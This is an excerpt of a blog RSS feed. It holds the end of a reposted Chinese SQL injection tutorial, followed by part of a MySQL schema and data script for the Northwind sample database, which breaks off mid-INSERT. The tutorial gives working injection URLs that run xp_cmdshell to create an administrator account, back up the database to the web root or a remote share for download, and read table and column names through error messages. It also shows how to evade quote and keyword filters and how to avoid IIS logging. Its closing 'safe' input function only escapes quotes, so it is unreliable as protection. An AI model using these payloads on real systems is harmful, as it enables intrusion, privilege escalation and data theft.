<p style="COLOR: #008000">第三节、中文处理方法<br>&nbsp;&nbsp;&nbsp; 在注入中碰到中文字符是常有的事，有些人一碰到中文字符就想打退堂鼓了。其实只要对中文的编码有所了解，&#8220;中文恐惧症&#8221;很快可以克服。先说一点常识：<br>Access中，中文的ASCII码可能会出现负数，取出该负数后用abs()取绝对值，汉字字符不变。<br>SQLServer中，中文的ASCII为正数，但由于是UNICODE的双位编码，不能用函数ascii()取得ASCII码，必须用函数unicode ()返回unicode值，再用nchar函数取得对应的中文字符。<br>&nbsp;&nbsp;&nbsp; 了解了上面的两点后，是不是觉得中文猜解其实也跟英文差不多呢？除了使用的函数要注意、猜解范围大一点外，方法是没什么两样的。</p>
<p style="COLOR: #008000">高 级 篇<br>看完入门篇和进阶篇后，稍加练习，破解一般的网站是没问题了。但如果碰到表名列名猜不到，或程序作者过滤了一些特殊字符，怎么提高注入的成功率？怎么样提高猜解效率？请大家接着往下看高级篇。</p>
<p style="COLOR: #008000">第一节、利用系统表注入SQLServer数据库<br>&nbsp;&nbsp;&nbsp; SQLServer是一个功能强大的数据库系统，与操作系统也有紧密的联系，这给开发者带来了很大的方便，但另一方面，也为注入者提供了一个跳板，我们先来看看几个具体的例子：<br>① <a href="http://site/url.asp?id=1;exec">http://Site/url.asp?id=1;exec</a> master..xp_cmdshell "net user name password /add"--<br>　　分号;在SQLServer中表示隔开前后两句语句，--表示后面的语句为注释，所以，这句语句在SQLServer中将被分成两句执行，先是Select出ID=1的记录，然后执行存储过程xp_cmdshell，这个存储过程用于调用系统命令，于是，用net命令新建了用户名为name、密码为password的windows的帐号，接着：<br>② <a href="http://site/url.asp?id=1;exec">http://Site/url.asp?id=1;exec</a> master..xp_cmdshell "net localgroup administrators name /add"--<br>　　将新建的帐号name加入管理员组，不用两分钟，你已经拿到了系统最高权限！当然，这种方法只适用于用sa连接数据库的情况，否则，是没有权限调用xp_cmdshell的。<br>③ <a href="http://site/url.asp?id=1">http://Site/url.asp?id=1</a> and db_name()&gt;0<br>前面有个类似的例子and user&gt;0，作用是获取连接用户名，db_name()是另一个系统变量，返回的是连接的数据库名。<br>④ <a href="http://site/url.asp?id=1;backup">http://Site/url.asp?id=1;backup</a> database 数据库名 to disk=&#8217;c:\inetpub\wwwroot\1.db&#8217;;--<br>这是相当狠的一招，从③拿到的数据库名，加上某些IIS出错暴露出的绝对路径，将数据库备份到Web目录下面，再用HTTP把整个数据库就完完整整的下载回来，所有的管理员及用户密码都一览无遗！在不知道绝对路径的时候，还可以备份到网络地址的方法（如<a href="file://202.96.xx.xx/Share/1.db">\\202.96.xx.xx\Share\1.db</a>），但成功率不高。<br>⑤ <a href="http://site/url.asp?id=1">http://Site/url.asp?id=1</a> and (Select Top 1 name from sysobjects where xtype='U' and status&gt;0)&gt;0<br>前面说过，sysobjects是SQLServer的系统表，存储着所有的表名、视图、约束及其它对象，xtype='U' and status&gt;0，表示用户建立的表名，上面的语句将第一个表名取出，与0比较大小，让报错信息把表名暴露出来。第二、第三个表名怎么获取？还是留给我们聪明的读者思考吧。<br>⑥ <a href="http://site/url.asp?id=1">http://Site/url.asp?id=1</a> and (Select Top 1 col_name(object_id('表名'),1) from sysobjects)&gt;0<br>从⑤拿到表名后，用object_id(&#8216;表名&#8217;)获取表名对应的内部ID，col_name(表名ID,1)代表该表的第1个字段名，将1换成2,3,4...就可以逐个获取所猜解表里面的字段名。<br>&nbsp;　以上6点是我研究SQLServer注入半年多以来的心血结晶，可以看出，对SQLServer的了解程度，直接影响着成功率及猜解速度。在我研究SQLServer注入之后，我在开发方面的水平也得到很大的提高，呵呵，也许安全与开发本来就是相辅相成的吧。</p>
<p style="COLOR: #008000">第二节、绕过程序限制继续注入<br>在入门篇提到，有很多人喜欢用'号测试注入漏洞，所以也有很多人用过滤'号的方法来&#8220;防止&#8221;注入漏洞，这也许能挡住一些入门者的攻击，但对SQL注入比较熟悉的人，还是可以利用相关的函数，达到绕过程序限制的目的。<br>在&#8220;SQL注入的一般步骤&#8221;一节中，我所用的语句，都是经过我优化，让其不包含有单引号的；在&#8220;利用系统表注入SQLServer数据库&#8221;中，有些语句包含有'号，我们举个例子来看看怎么改造这些语句：<br>简单的如where xtype='U'，字符U对应的ASCII码是85，所以可以用where xtype=char(85)代替；如果字符是中文的，比如where name='用户'，可以用where name=nchar(29992)+nchar(25143)代替。</p>
<p style="COLOR: #008000">第三节、经验小结<br>1.有些人会过滤Select、Update、Delete这些关键字，但偏偏忘记区分大小写，所以大家可以用selecT这样尝试一下。<br>2.在猜不到字段名时，不妨看看网站上的登录表单，一般为了方便起见，字段名都与表单的输入框取相同的名字。<br>3.特别注意：地址栏的+号传入程序后解释为空格，%2B解释为+号，%25解释为%号，具体可以参考URLEncode的相关介绍。<br>4.用Get方法注入时，IIS会记录你所有的提交字符串，对Post方法做则不记录，所以能用Post的网址尽量不用Get。<br>5. 猜解Access时只能用Ascii逐字解码法，SQLServer也可以用这种方法，只需要两者之间的区别即可，但是如果能用SQLServer的报错信息把值暴露出来，那效率和准确率会有极大的提高。</p>
<p style="COLOR: #008000">防 范 方 法<br>SQL注入漏洞可谓是&#8220;千里之堤，溃于蚁穴&#8221;，这种漏洞在网上极为普遍，通常是由于程序员对注入不了解，或者程序过滤不严格，或者某个参数忘记检查导致。在这里，我给大家一个函数，代替ASP中的Request函数，可以对一切的SQL注入Say NO，函数如下：<br>Function SafeRequest(ParaName,ParaType)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; '--- 传入参数 ---<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 'ParaName:参数名称-字符型<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 'ParaType:参数类型-数字型(1表示以上参数是数字，0表示以上参数为字符)</p>
<p style="COLOR: #008000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim Paravalue<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Paravalue=Request(ParaName)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; If ParaType=1 then<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; If not isNumeric(Paravalue) then<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Response.write "参数" &amp; ParaName &amp; "必须为数字型！"<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Response.end<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; End if<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Else<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Paravalue=replace(Paravalue,"'","''")<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; End if<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SafeRequest=Paravalue<br>End function<br>文章到这里就结束了，不管你是安全人员、技术爱好者还是程序员，我都希望本文能对你有所帮助。</p>
<img src ="http://www.phpweblog.net/temptation/aggbug/2410.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.phpweblog.net/temptation/" target="_blank">temptation</a> 2007-11-28 15:41 <a href="http://www.phpweblog.net/temptation/archive/2007/11/28/2410.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>[转] Northwind 建表语句</title><link>http://www.phpweblog.net/temptation/archive/2007/11/27/2401.html</link><dc:creator>temptation</dc:creator><author>temptation</author><pubDate>Tue, 27 Nov 2007 02:30:00 GMT</pubDate><guid>http://www.phpweblog.net/temptation/archive/2007/11/27/2401.html</guid><wfw:comment>http://www.phpweblog.net/temptation/comments/2401.html</wfw:comment><comments>http://www.phpweblog.net/temptation/archive/2007/11/27/2401.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.phpweblog.net/temptation/comments/commentRss/2401.html</wfw:commentRss><trackback:ping>http://www.phpweblog.net/temptation/services/trackbacks/2401.html</trackback:ping><description><![CDATA[<p style="COLOR: #008000">DROP DATABASE IF EXISTS Northwind;</p>
<p style="COLOR: #008000">CREATE DATABASE Northwind;</p>
<p style="COLOR: #008000">CREATE TABLE Northwind.Categories<br>(CategoryID INT NOT NULL AUTO_INCREMENT, <br>CategoryName VARCHAR(15) NOT NULL, <br>Description LONGTEXT NULL, <br>Picture LONGBLOB NULL, <br>PRIMARY KEY(CategoryID), <br>INDEX CategoryName(CategoryName));</p>
<p style="COLOR: #008000">CREATE TABLE Northwind.CustomerCustomerDemo<br>(CustomerID CHAR(5) NOT NULL, <br>CustomerTypeID CHAR(10) NOT NULL, <br>PRIMARY KEY(CustomerID,CustomerTypeID));</p>
<p style="COLOR: #008000">CREATE TABLE Northwind.CustomerDemographics<br>(CustomerTypeID CHAR(10) NOT NULL, <br>CustomerDesc LONGTEXT NULL, <br>PRIMARY KEY(CustomerTypeID));</p>
<p style="COLOR: #008000">CREATE TABLE Northwind.Customers<br>(CustomerID CHAR(5) NOT NULL, <br>CompanyName VARCHAR(40) NOT NULL, <br>ContactName VARCHAR(30) NULL, <br>ContactTitle VARCHAR(30) NULL, <br>Address VARCHAR(60) NULL, <br>City VARCHAR(15) NULL, <br>Region VARCHAR(15) NULL, <br>PostalCode VARCHAR(10) NULL, <br>Country VARCHAR(15) NULL, <br>Phone VARCHAR(24) NULL, <br>Fax VARCHAR(24) NULL, <br>PRIMARY KEY(CustomerID), <br>INDEX City(City), <br>INDEX CompanyName(CompanyName), <br>INDEX PostalCode(PostalCode), <br>INDEX Region(Region));</p>
<p style="COLOR: #008000">CREATE TABLE Northwind.Employees<br>(EmployeeID INT NOT NULL AUTO_INCREMENT, <br>LastName VARCHAR(20) NOT NULL, <br>FirstName VARCHAR(10) NOT NULL, <br>Title VARCHAR(30) NULL, <br>TitleOfCourtesy VARCHAR(25) NULL, <br>BirthDate DATETIME NULL, <br>HireDate DATETIME NULL, <br>Address VARCHAR(60) NULL, <br>City VARCHAR(15) NULL, <br>Region VARCHAR(15) NULL, <br>PostalCode VARCHAR(10) NULL, <br>Country VARCHAR(15) NULL, <br>HomePhone VARCHAR(24) NULL, <br>Extension VARCHAR(4) NULL, <br>Photo LONGBLOB NULL, <br>Notes LONGTEXT NULL, <br>ReportsTo INT NULL, <br>PhotoPath VARCHAR(255) NULL, <br>PRIMARY KEY(EmployeeID), <br>INDEX LastName(LastName), <br>INDEX PostalCode(PostalCode));</p>
<p style="COLOR: #008000">CREATE TABLE Northwind.EmployeeTerritories<br>(EmployeeID INT NOT NULL, <br>TerritoryID VARCHAR(20) NOT NULL, <br>PRIMARY KEY(EmployeeID,TerritoryID));</p>
<p style="COLOR: #008000">CREATE TABLE Northwind.Order_Details<br>(OrderID INT NOT NULL, <br>ProductID INT NOT NULL, <br>UnitPrice DECIMAL(19, 4) NOT NULL, <br>Quantity SMALLINT NOT NULL, <br>Discount FLOAT NOT NULL, <br>PRIMARY KEY(OrderID,ProductID), <br>INDEX OrderID(OrderID), <br>INDEX OrdersOrder_Details(OrderID), <br>INDEX ProductID(ProductID), <br>INDEX ProductsOrder_Details(ProductID));</p>
<p style="COLOR: #008000">CREATE TABLE Northwind.Orders<br>(OrderID INT NOT NULL AUTO_INCREMENT, <br>CustomerID CHAR(5) NULL, <br>EmployeeID INT NULL, <br>OrderDate DATETIME NULL, <br>RequiredDate DATETIME NULL, <br>ShippedDate DATETIME NULL, <br>ShipVia INT NULL, <br>Freight DECIMAL(19, 4) NULL, <br>ShipName VARCHAR(40) NULL, <br>ShipAddress VARCHAR(60) NULL, <br>ShipCity VARCHAR(15) NULL, <br>ShipRegion VARCHAR(15) NULL, <br>ShipPostalCode VARCHAR(10) NULL, <br>ShipCountry VARCHAR(15) NULL, <br>PRIMARY KEY(OrderID), <br>INDEX CustomerID(CustomerID), <br>INDEX CustomersOrders(CustomerID), <br>INDEX EmployeeID(EmployeeID), <br>INDEX EmployeesOrders(EmployeeID), <br>INDEX OrderDate(OrderDate), <br>INDEX ShippedDate(ShippedDate), <br>INDEX ShippersOrders(ShipVia), <br>INDEX ShipPostalCode(ShipPostalCode));</p>
<p style="COLOR: #008000">CREATE TABLE Northwind.Products<br>(ProductID INT NOT NULL AUTO_INCREMENT, <br>ProductName VARCHAR(40) NOT NULL, <br>SupplierID INT NULL, <br>CategoryID INT NULL, <br>QuantityPerUnit VARCHAR(20) NULL, <br>UnitPrice DECIMAL(19, 4) NULL, <br>UnitsInStock SMALLINT NULL, <br>UnitsOnOrder SMALLINT NULL, <br>ReorderLevel SMALLINT NULL, <br>Discontinued TINYINT NOT NULL, <br>PRIMARY KEY(ProductID), <br>INDEX CategoriesProducts(CategoryID), <br>INDEX CategoryID(CategoryID), <br>INDEX ProductName(ProductName), <br>INDEX SupplierID(SupplierID), <br>INDEX SuppliersProducts(SupplierID));</p>
<p style="COLOR: #008000">CREATE TABLE Northwind.Region<br>(RegionID INT NOT NULL, <br>RegionDescription CHAR(50) NOT NULL, <br>PRIMARY KEY(RegionID));</p>
<p style="COLOR: #008000">CREATE TABLE Northwind.Shippers<br>(ShipperID INT NOT NULL AUTO_INCREMENT, <br>CompanyName VARCHAR(40) NOT NULL, <br>Phone VARCHAR(24) NULL, <br>PRIMARY KEY(ShipperID));</p>
<p style="COLOR: #008000">CREATE TABLE Northwind.Suppliers<br>(SupplierID INT NOT NULL AUTO_INCREMENT, <br>CompanyName VARCHAR(40) NOT NULL, <br>ContactName VARCHAR(30) NULL, <br>ContactTitle VARCHAR(30) NULL, <br>Address VARCHAR(60) NULL, <br>City VARCHAR(15) NULL, <br>Region VARCHAR(15) NULL, <br>PostalCode VARCHAR(10) NULL, <br>Country VARCHAR(15) NULL, <br>Phone VARCHAR(24) NULL, <br>Fax VARCHAR(24) NULL, <br>HomePage LONGTEXT NULL, <br>PRIMARY KEY(SupplierID), <br>INDEX CompanyName(CompanyName), <br>INDEX PostalCode(PostalCode));</p>
<p style="COLOR: #008000">CREATE TABLE Northwind.Territories<br>(TerritoryID VARCHAR(20) NOT NULL, <br>TerritoryDescription CHAR(50) NOT NULL, <br>RegionID INT NOT NULL, <br>PRIMARY KEY(TerritoryID));</p>
<p style="COLOR: #008000">CREATE TABLE Northwind.USStates<br>(StateID INT NOT NULL, <br>StateName VARCHAR(100) NULL, <br>StateAbbr VARCHAR(2) NULL, <br>StateRegion VARCHAR(50) NULL);</p>
<p style="COLOR: #008000">USE Northwind;</p>
<p style="COLOR: #008000">INSERT INTO Categories (CategoryID, CategoryName, Description, Picture)&nbsp; VALUES(1, 'Beverages', 'Soft drinks, coffees, teas, beers, and ales', 0x151C2F00020000000D000E0014002100FFFFFFFF4269746D617020496D616765005061696E742E5069637475726500010500000200000007000000504272757368000000000000000000A0290000424D98290000000000005600000028000000AC00000078000000010004000000000000000000880B0000880B00000800000008000000FFFFFF0000FFFF00FF00FF000000FF00FFFF000000FF0000FF00000000000000000010000000001000000001001000000000000001010100010000100100000001010001000000100100000100000010101000100000100010000000000000000000001000000001000000000000001000000000000000000000001001001000000000000000000001001001000012507070100000001000000001000100100000010000001000000000100100100000001001010101010000000000000000000001001000100000101010101000000000000000000000000000000000000101020525363777777777777753530100101000100000000001010001001000100100100000000000100000000000000000100010001001010001000000010010000000000000100000000000000000000000000000001014343577777777777777777777777777770100120001010100102000000000000000000000000100100010010000000000100010000000000000000010010000001001001010100000000000000000000000000000001021617777777775757535353525777777777777770150120000100010101000000000000000001000000000000001001001000000000010010000010010010000101001001000000100000001000000000000000000000001417777737617376377775767771707752777777776340161210300000000010000000000010000000000000000000000000000000000000000100000000000100000000000010000100000000000000000000000000100503677577571705014000000101070717775777777775334101400010101010001010010101000000000000000000000000000001000000000000000000000000000000001010001000001000000000000000000000000010357353000000000000000000000000000171777777777470612101000000001000001000000010000000000000000000000000000000100010703010101210000000000000000000000000000000000000000000000101034350000000010653435777570477474700000107757777171000000101001000101000101010000100000000000000000001041477110131035750020040477301000100000000000000000000000000000000000000000010004014176577707000067777777776560404007371734361701400001241000001000000001000020400000200000101747767777000101073777577777775372100000000100000000000000100100000000010000010000037676476700004000577470416717477421405000434140343000565120510100301014002107171370701437777777775777777112103177777777777705757771010000000100000000000000010000100000101000470440440671007477776777777614060600742524001777777747646776752060250003021716737777777777777774747727574777001016777777777767173317703000101010000000010000000001000000000000420460200077427477767777777775677777746474656606767777665746776757151253507166737777733746777577777777572776771100517777777767776015713141030020001000000001001000000000010100067440044047761477767776706767777674765673470657505767375664746757777271252167717733771737776777677567476577577121103775777777776717027753121010101000010000000000100001010000010767060004776747776776777756776777777777042477676067777467474747676777565256531311771177376477777576757777747710110701777777767777401717340000000000100001000000000001000000101004776540666050777677657777677470774777776747664607777376747476777777677717173735377717737747777777777774774770011271077777767777763171735210121010100000000000000000000010000000300406767757676775077006767477774774777774747770476777656706746777657777777777777777777737667777476574774777771001031777777776767741371771000000000010000000000000000000000101005707442567656176006767004770476707700767770000477747734656446745677676777777777777777777375667777777777777777773100010777777777777771753521010101010000000000100010000000010007777712152503004670077774767427047247776577564700076737747670474277777777777777777367777777765777777777777434777750757775377767676770172773100000000001000000000000001000101007170701614204046007746040676167470774167743656777740077776067407465677677777777777757717777737476775716161243410303077777777577775210000011350001001001000000101000100000100002100171525675070074340670005004076700706570757777767770077744746466567777677777777777777777773776777610000000137775350317777773777737750701000101021001000100000000000010100010010300067777761650604065047604760746404776406705656776770077764750474747677777777777777777773733747777773011735777777777777777757777777777767412041001001000001000001000000010001000577744140000607406706767676776777776477756767777447700774076646764777567777777777777737373737764677747753527777776777777777776365735353513010300120301010000000000000000001000107000210006147767674646040404040066667767677775476777046644644044456776767777777777733737373776777776774244777377717712777165357577534242040010010010000010001000000100010000100300050000146664000000101030734352101100065677767077770047604774377676777767777777777373737333756477657075377100770770177776525271673001012101210301001030000000100100000001000005000060046160004000125343510110101000000000007740000047744733737377757677777777777373737377737656757777777373101676770777717775671773001010300000021021010000000000000100000000100077400000414021414000000000000000000000000000300000777777773737377677677777777777373737333735677677777377710177777717774705271767340300000010101000100000100000100100000001014005660000000737560600000000000000000000000000004730777773733373737777747677777777737337353761666777777737737017771677077353777574735310012101000000010010100000100000000010004300065400000000400141254140404000000000000000000037737776773777373733777677777777777677646746565756747777773773017017710765654352735770017010303031010010000000100001001010030704000660000000000000040000000000000000000000000007777514673373373737777777476777777777474644764666776777777772711031076117307374357477373010341050043030012100100010100100012500000047000000000046742000000000000000000000000077776677777377377373733737767777777777767645676507574777657610057121101731611574777637735105270125213010050210100001070210301650000000640000000006776406776464000040641434177777767667614737337337373777777767677777776564767474664667477761775271112116101002331211101052721016120140161034106010173075617770000570047400047400446000000467770504777767173573756767776767737737773737377776777777777776564746765477576777176700774656474731010011000001250165214716170121012011070777173777400063770040000760467600000000740760600777067777777676767676767337333373737377747677777777776767747424676747677157701677677676131331213131301371317310312161525053073077777777700047577700000006006760000640400006474046740777777777676767676737737777373777777767777777777674746767467477777743670175305325352527135335353170143414371617130131211777177777777001737770006760476677047064466400047640077747777777767676767673773373333737373776746777777765467674704747674765375610731773573752534737417017035303130101010030001427777777737770047777770047460704644064400004640067004767077777777767676767673377377773737777776777777777766565665670767767775077007563153347370731013213617034343434307031417121177773777777740257737700027447000064000000000640064006760777777776767767767773373333373737777476777777777746765674464747767763477027172753717175777757757357171717171717433616163777777735737400737773400460660046000000000004000600676747777777776766766767377377777373737777747677777776756567467746765777117100537153353773777777777777777777777777737757737573777773773772047777350000474044600440000000000040047774007777700667677677633333333333737777766767777777777667476564657476760600007353375373177777777777777777777777777777737777377733753777740007177770000664024640640000000000004646700477777007767667666777777777773737777777777777776777446467565676777535373525317137177177777777777777777777777777777775377773753771737700076737350000000474664665646644400400464000077700067677677773333333333373737776676777777777767777766767765677771713175217037173777777777777777777777777775375377173753777377773700057777004007477667764766767667467600000004770000767667666677777777777337777775677777771777772604000404067761171613131535353717777777777777777777737753777777777753773717735374700000500670446677777776777776777776561004661000006767767777333131101100777777666567777567704040505140777716536353147173135371777777777777777777577577777777777777777353753777371700000001776040404040404606076767776170000470000071101100100000000000110157177776777776470124100002530004777111301313017535371777777777771771737377773777377753773717353252165376164464265700400000000000004040040076774000440000777500750000000000000000017347766777746564100000000400300652513530753303170737777775777777777777737777777773777753757035353134317137313533000046440000004400000000053770000000000077343100000000000000000004135777775676176000700000004044213052153115353371357777377737737775777777573757777777353213503161617163521657257000006700060042400000005273710000000000007577000000000000000000531117777665447405244000000040031501313030721353537737775777577753737717737777777777777035343343131303103171317337130100000567000200000031756000000000000000077771012100101101131117133375466747465707047000071502161011531534353517753773737353777737777777777737537713503353170717173561343105307030525370047014161717433700000000000000000000101011770000006402737373767456467777777773065773510137343531317073737773775777773777577375735737577777343375377373673071316352731717173137000007737352713574000000000000000000000000464000000046733737373446647777777777740007373737110310343537171773565373537577177375737777777777773353737717175357727753717163737357770000071735371677700000000000000000000000000460004004676173737374745777777777777004631713112031213131317337177737777777377777777777777777777775377737777377371717353773571747737377617771677773570000000000000000000000000400400000000406337333464673777777777774007733373311001013135317177737775377377777777777777777777777737777573777377777736771773773716717535343373525773700000000000000000000000000000000000000037337374433373777777777700007740010313133173137337357753777777777777777777777777777777737737775375737373717367171653735727367374753737174000000000000000000004600000000000000000373733643773373777777777404073000000000012137331737377777777777777777777777777777777777577773737773757575735317273353531757535737377576300000000000000000000424400000004000040007373375733337333377777770000700000000000000000070477777777777777777777777777777777777737773757753757373737777775357273673373773535737357000000000000000000004406000000000404004037337333773737737377777700400000000000004006404043777777773757777777777777777777777777773773737773777777717371737357171752573473721777340000000000000000000006446400000000004004337337333373337337337777100004705340100016503777747717717757777777777777777777777777773757757773577173577775777577377773777373757777177700000000000660000640047674000000004000003737337373377337373737774040077760004000000044004737777777777777777777777777777777777773773773577377777377377377377537177535757373537710000000000004040004640604600000000000400073733737337333737373777700000047477420000000000435777777777777777777777777777777777777757777777777777777777777777777777737737377577777000000000004600000460064600000004000000000373373337337373737373777600000000000550043617777777777777777777777777777777777777777773777777773777777777777777777777777777777737737777000000000000000000000406400000004040000003373373737337373737373770040000000002777357777777777777777777777777777777777777775777777777773777573717775777777577377777777777777757340400000000000000040004064000000000000000073373373337333373737377750000000000057777777777777777777777777777777177775737577737777777735777773777773773775377377735735735375737737000000000000000044600406060000000000000046337337337373777373733777007460000000377777777777777777777777777777777737737777377777377777737371775353753753777777777777777777737717750000000000000000000000444404400400000000063733737337333337373377774067400000000777777777777777777777777375773777757777177177377735777777777377777777777777777777777777777777777704000000000000000000006000666066000000004433733337337377333377777700676004004407777777777777777777777777777757357375377777775777737777777777777777777777777777777777777777777772010000000000000000000040004404440000000000373737337337337377777777704600674660077777777777777777777777777737777777777773773773777777777777777377377777737777753777777777777777750040000000000000000000000460460000000000463733733733733737777777770047464067000777777777777777777777777777777777777777777777777777771737177777757377377753777777777737757773737000000000000000000000644640000460000000000073373733733733777777773750660760400017777777777777777777777777777777777777777777777777777777777373773777357173775377735737777377757777240000000000000000000606400000000000000000373373773733777777777737604746400406057777777777777777777777777777777777777777775775771733735377757177175737753737537777757777777777750100000000000000000046540000000000000000007337333333777777777771771066067674767677777777777777777777777777777777377777777377737777775737573737736373717375773777373737377777371200400000000000000000046000000000000000000073737373777777777777737700656476464617777777777777777777777777775757777777575757735773735371737357737575357635733577377577777773777775000040000000000000440646000040000000000000733733377777777777777137106606476400077777777777777775777757357777777757577377375777775737777577735737377371735773757073737175777777370000000000000000046764656546400000000000007733737777537777777777774474407467005077777777777775777757377735737717737377777737777371773737373773577535373437073737757577737353777700500000000000004676474266640000000000000047333777074747777777777776567642766027777757537775777371735777777577777777577777775377777777577577777737777577737757757373737777775777000000400000000067407604040000000000000000077777103716173777777737676665646470577757377775777375777777177377777777777357357777773737777777371735737773735753737377777773577377370004000000000000666424604040000000000000000777777007677477777777767676767474003577777777773777777777777777773773573777377773777777577773777777777771775773777757353753577357777770010000000000040406404000244000000000000000777370141477567777777762476767660067777777773777777737773777753777777777777777777777777773777777777375367377375357367767767737673477140240000000000000446400004660000040000000007737520077772757777770040047667767177777757777777777777577737777757777717753717717777777757753535357777775775777777535753735757177357005004000000000000000040400476440464000000007773401616575777777006440004764256777377375775375735737777777737737737773777777777773777777777777771771777777777777773775777377577773000000040000000000400000000000067400000000077771425777367777700400060006765377777377777377737777777735735777777777777777777777757777777777777777777777777777777777777377377353770070040000000000000400000404000040000000000077770525765777777004004040440065773775717377777777377777777777777777777777777777777777777777777777777773737371775377773775657527777500004000000000000000000442424400064000000000777724077576777700400600007000373757373775775375375737777777777777777777777777777777777777737777377373577575777777573575373733771737300700004000000000000004646440000672440000000777507567657775000444040644047777377777773777777777757777777777777777777777777777777757377771777375773737373737373773377753575377577400004000000000000000000400000040440640000004777407757777700404246044604375777757737777777777777777777773777777777777777777777777377775773575737175717175717571757253372734372773007000040000000000000000000004600464000000007772525677777004704064240124373777377577777777777777773773777777573577777777777757377737373777373777737367363727373735356171737177175000400000400000000000000004600000400000000047710477777700676006564640577777777777777777777737773777777577177777777777777777377735775775377757173717535357174352537737373717717730070040000000000000000000040046000000000000077777711357047600446500072777777777737777777377777777573573777777777777777777777737777377377177377757773777377737777343574356773737710060040400400000000000000000400000000000000771571715356770446002470757775773777777377757735735773777777777777777777777777735777377777777777777737573577177535357773777371747527710160000000040000000000000006000000000000007771353777767600056440042735373775377375773777777777777777777777777777777777777777777777777777757377773777377737777735777537577373717700104004000000000000000000440000000000000077171357777674006064214357577775737757777777777777777777777777777777777777777777377777777777777777777777777777777737777373777737577777300424000400000000000000000000000000000000777174777756765404051425373735737777777777777777777777777777777777777777777777777777777777777377777577777777777777777375777737777353777100100400040400000000000000000000000000007717137577764767404061777777777777737737777777777777777377777777737537777777777777777577777777773773777737775377177577737353753737770737100400400000000000000000000000000000000077717177777467760030065377577777777777777777777777377777777777777777777777777777777373735371777775777177753777777737717757775375753573536100050040404040000000000000000000000000771717177720767000043737737737737757737773773777777777777777777777777777777777777577777777777737773777777777777777777773773737737377357753000004200000004040000000000000000000047773537777504004104375777573757777371777777777773777777777777777777777777777777373777777777777777777777777777777777777777757777777377373777200504040404000000400000000000000000077153577770000016075375373777737177777717717777777777777777777777777777777777777777777777777777777777777777777777777777777375373577177573535300100040104004000040400040040004000177353577770070007277377777537777753757777777777777777777777777777777777777777777777777777777757777777773777577777775377537727576377717252734120050040400404040000040000000400007735353777005006535357777737771773777377777777777777777777777777777777777777777777775737777377777717377777777773777777777753753735752771775173500007000040000004004000400400000477717177775004353777737377773777777777777777777777777777777777777777777777777777773737757377173717777773577737777773777773773777773771773136343700000561040405004000400400040400775317777700367771737577537757777777777777777777777777377777777777777777777777775757717777777777737177577377777775777773777353717773771776535353716000047000404004000500050010001735717777761717777573777777777777777777777777777757375777777777777777777777773737737773753777177577737777537537737777757777777771757372537737271717100005252004004040604004040077531717777177777777777777737777777775777777777777777777777777777777777777777757717753757775377737737773777777777777777777177173777737753770775363774320000416524100000400400004773717777777777737777777777777777377377777777777777777777777777777777777777777737773777773777777777577757377377777777377377777753737753771775375757377577600000106141410143405007757537777777777777377737777773777777777777777777777777777777777777777777777777753777737777777777777737777777777777777777777377777573777777377373775373735373000000000400010000077377717777737777757757571777777777777777777777777777777777777777777777777737773777777777777777777777777777777777777777777777777777777737775777777377775777777777161612161637777777101777777771771773777777777777777777777777777777777777777777177577377577757777777777777777777777777777777777737777777777777737737775773737717717771737737537777777777777777775717177777771777777777377773777777777777777777777777777777777777777777777777777777777777777777377377777377777777777377577177537777777373757737737735377735737737377737775773777377717177777777737777777777777777777377777777777777777777777777777777777777777777777357537537777577773775753573577577537377737753757357757357571753777171735735775357537737571777771717577777777777375777375735377377775377777777777777777777777777777777777777777777737777771773753757377377777737777777777773777377737737737377375377777737573537737753773777777777177777777775775737757737777777757377777777777777777777777777777777777777777357777777777777777777777777777777773777777777777777777777777777777777537717773777777777777577777717711737777173737377777377777777177377777777777777777777777777777777777777777777737377777777777777777777777773777777777737775777777777757777775373737777773777377377537737777777710101417777757757377777771735377777777777777777777777777777777777777777777777777777777377777777377377777777777775775775775737777717717371735377575735373757175365737777773737777777773617377373775737773777777777777777777777777777777777777777777777777777777377757177573737777577773575373573737737777773773737777777777777737373777175337637173573537777577717777753775777775377777777777777777777777777777777777777777777777777777777777777773737773777573573753777737777777777773773777577577737353717353577175217437753577377377771737373773777375377375377777777777777777777777777777777777777777777777777777777777777757153471773737373773771737771737377777777777773777737577777777777377737733717373717177737777777577777375377777777777777777777777777777777777777777777777777777777777777777777773737773771757577573577377717777575717377777777777377773717353717357175717577717753777175773773537777777777777777777777777777777777777777777777777777777777777777777777777777777753473535377373717353717171735373737777777777777777737777777777777737737737353735371737737777377777777777777777777777777777777777777777777777777777777777777777777777777777777777773777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777773535000000000000000000000105000000000000C7AD05FE);<br>INSERT INTO Categories (CategoryID, CategoryName, Description, Picture)&nbsp; VALUES(2, 'Condiments', 'Sweet and savory sauces, relishes, spreads, and seasonings', 